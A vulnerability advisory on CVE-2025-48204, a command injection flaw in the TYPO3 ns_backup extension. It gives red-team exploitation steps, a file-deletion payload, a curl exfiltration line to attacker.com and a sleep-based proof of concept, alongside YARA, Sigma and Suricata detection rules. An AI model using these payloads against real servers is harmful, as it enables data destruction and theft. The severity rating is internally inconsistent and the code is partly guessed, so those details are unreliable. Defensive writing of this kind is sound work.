CVE-2025-48204

Executive Summary

CVE-2025-48204 is a critical command injection vulnerability discovered in the ns_backup extension for TYPO3, affecting all versions up to and including 13.0.0. The vulnerability allows an unauthenticated attacker to execute arbitrary operating system commands on the underlying server by injecting malicious input into backup-related parameters. With a CVSS score of 6.8 (Medium), this flaw poses a significant risk to confidentiality, integrity, and availability, as it can lead to full server compromise, data exfiltration, or lateral movement within the network. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released, but the risk remains high due to the nature of command injection.

Supply Chain & Package Security

This vulnerability affects the ns_backup extension, which is a third-party package for the TYPO3 content management system. As an open-source extension, it is distributed via the TYPO3 Extension Repository (TER) and Composer. The lack of a patch and the extension's widespread use in backup automation workflows make it a prime target for supply chain attacks. Organizations using TYPO3 with ns_backup should immediately assess their exposure and consider disabling the extension until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.8 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions or complex attack sequences are required.
• Privileges Required: None (PR:N) – No authentication is needed to exploit the flaw.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure is possible.
• Integrity Impact: Low (I:L) – Some data modification may occur.
• Availability Impact: Low (A:L) – Partial denial of service is possible.

Threat Level: High. Despite the medium CVSS score, command injection vulnerabilities are often trivial to exploit and can lead to full system compromise. The lack of a patch and the extension's integration with backup systems (which often have elevated privileges) elevates the real-world risk.

Deep Dive & Mechanics

The ns_backup extension provides backup and restore functionality for TYPO3 installations. The vulnerability resides in how the extension handles user-supplied input when constructing shell commands for backup operations (e.g., tar, mysqldump, or rsync). Specifically, parameters such as backup file names, directory paths, or database credentials are passed directly to a shell command without proper sanitization or escaping.

Root Cause: The extension uses PHP functions like exec(), shell_exec(), or system() with concatenated user input. For example, a parameter like backup_name might be used in a command such as:

tar -czf /backups/{backup_name}.tar.gz /var/www/html

If an attacker supplies a value like ; rm -rf /;, the command becomes:

tar -czf /backups/; rm -rf /;.tar.gz /var/www/html

This results in arbitrary command execution.

Attack Vector: The vulnerability can be triggered via HTTP requests to the extension's endpoints (e.g., index.php?eID=ns_backup&action=create&backup_name=INJECTION). No authentication is required if the extension exposes these endpoints publicly.

Impact: Successful exploitation allows an attacker to execute arbitrary commands with the privileges of the web server user (typically www-data). This can lead to:

• Data exfiltration (e.g., reading database credentials, configuration files)
• Installation of backdoors or web shells
• Lateral movement to internal systems
• Denial of service by deleting critical files

Vulnerable vs. Patched Code

Since no patch is available, the following demonstrates the vulnerable pattern and a hypothetical secure implementation.

Vulnerable Code (ns_backup <= 13.0.0):

<?php
// Vulnerable: Direct concatenation of user input into shell command
$backupName = $_GET['backup_name'];
$command = "tar -czf /backups/{$backupName}.tar.gz /var/www/html";
exec($command, $output, $return_var);
?>

Patched Code (Hypothetical):

<?php
// Secure: Use escapeshellarg() to sanitize input
$backupName = escapeshellarg($_GET['backup_name']);
$command = "tar -czf /backups/{$backupName}.tar.gz /var/www/html";
exec($command, $output, $return_var);
?>

Alternatively, avoid shell commands entirely by using PHP libraries (e.g., PharData for tar operations).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A TYPO3 instance with ns_backup extension installed (version <= 13.0.0)
• Network access to the TYPO3 web interface

Exploitation Steps:

1. Identify the vulnerable endpoint. Common patterns include:
   • index.php?eID=ns_backup&action=create&backup_name=INJECTION
   • index.php?eID=ns_backup&action=restore&file=INJECTION
2. Inject a command using shell metacharacters. For example:

   http://target.tld/index.php?eID=ns_backup&action=create&backup_name=;id;
   

3. Verify execution by observing the output (if reflected) or using out-of-band techniques (e.g., DNS exfiltration):

   http://target.tld/index.php?eID=ns_backup&action=create&backup_name=;curl http://attacker.com/$(whoami);
   

Proof-of-Concept (No public exploit available):

# Blind command injection example
curl "http://target.tld/index.php?eID=ns_backup&action=create&backup_name=;sleep%205;"

If the response is delayed by 5 seconds, the injection is successful.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for unusual parameters containing shell metacharacters (;, |, &, $(), `).
• Look for requests to eID=ns_backup with unexpected backup_name or file values.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Defense:

• Immediately disable the ns_backup extension if not critical.
• Implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in query parameters.
• Restrict access to the extension's endpoints via .htaccess or Nginx configuration:

  <LocationMatch "eID=ns_backup">
      Require ip 127.0.0.1
  </LocationMatch>
  

• Monitor for unexpected process execution (e.g., tar, mysqldump, curl) from the web server user.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to eID=ns_backup with parameters containing ;, |, &, $(), or `.
• Outbound connections from the web server to unknown IPs on non-standard ports (e.g., 4444, 1337).
• DNS queries for suspicious domains (e.g., *.attacker.com).

Host IOCs:

• Unexpected files in /tmp/ or /var/www/html/ (e.g., shell.php, backdoor.sh).
• Processes running as www-data executing commands like curl, wget, nc, or bash.
• Modified system binaries or cron jobs.
• Unusual entries in /var/log/syslog or /var/log/apache2/error.log related to ns_backup.

File IOCs:

• Presence of the ns_backup extension directory: typo3conf/ext/ns_backup/
• Suspicious backup files with names containing shell metacharacters.

Detection Engineering

YARA Rule

rule CVE_2025_48204_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting TYPO3 ns_backup extension"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48204"
        severity = "high"
    strings:
        $injection1 = /eID=ns_backup.*[;&|`$()]/
        $injection2 = /backup_name=.*[;&|`$()]/
        $injection3 = /file=.*[;&|`$()]/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-48204 TYPO3 ns_backup Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit command injection in TYPO3 ns_backup extension
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48204
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'eID=ns_backup'
        cs-uri-query|re:
            - '.*[;&|`$()].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in backup names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48204 TYPO3 ns_backup Command Injection Attempt"; flow:to_server,established; content:"eID=ns_backup"; http_uri; pcre:"/(?:backup_name|file)=.*[;&|`$()]/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the extension: Remove or rename the ns_backup directory (typo3conf/ext/ns_backup/) to prevent exploitation.
2. Apply virtual patching: Use a WAF to block requests containing shell metacharacters in parameters associated with ns_backup.
3. Restrict access: Limit access to the TYPO3 backend and extension endpoints to trusted IPs only.

Long-term Fix:

• Monitor the TYPO3 Extension Repository for an official patch. Once available, update to the patched version immediately.
• If the extension is critical, consider forking the code and applying input sanitization using escapeshellarg() or escapeshellcmd().
• Migrate to alternative backup solutions that do not rely on shell command execution.

Compromise Assessment:

• Review web server logs for suspicious requests targeting eID=ns_backup.
• Scan the server for unauthorized files, processes, or outbound connections.
• Rotate all credentials stored on the affected server (database, FTP, API keys).

Valters IT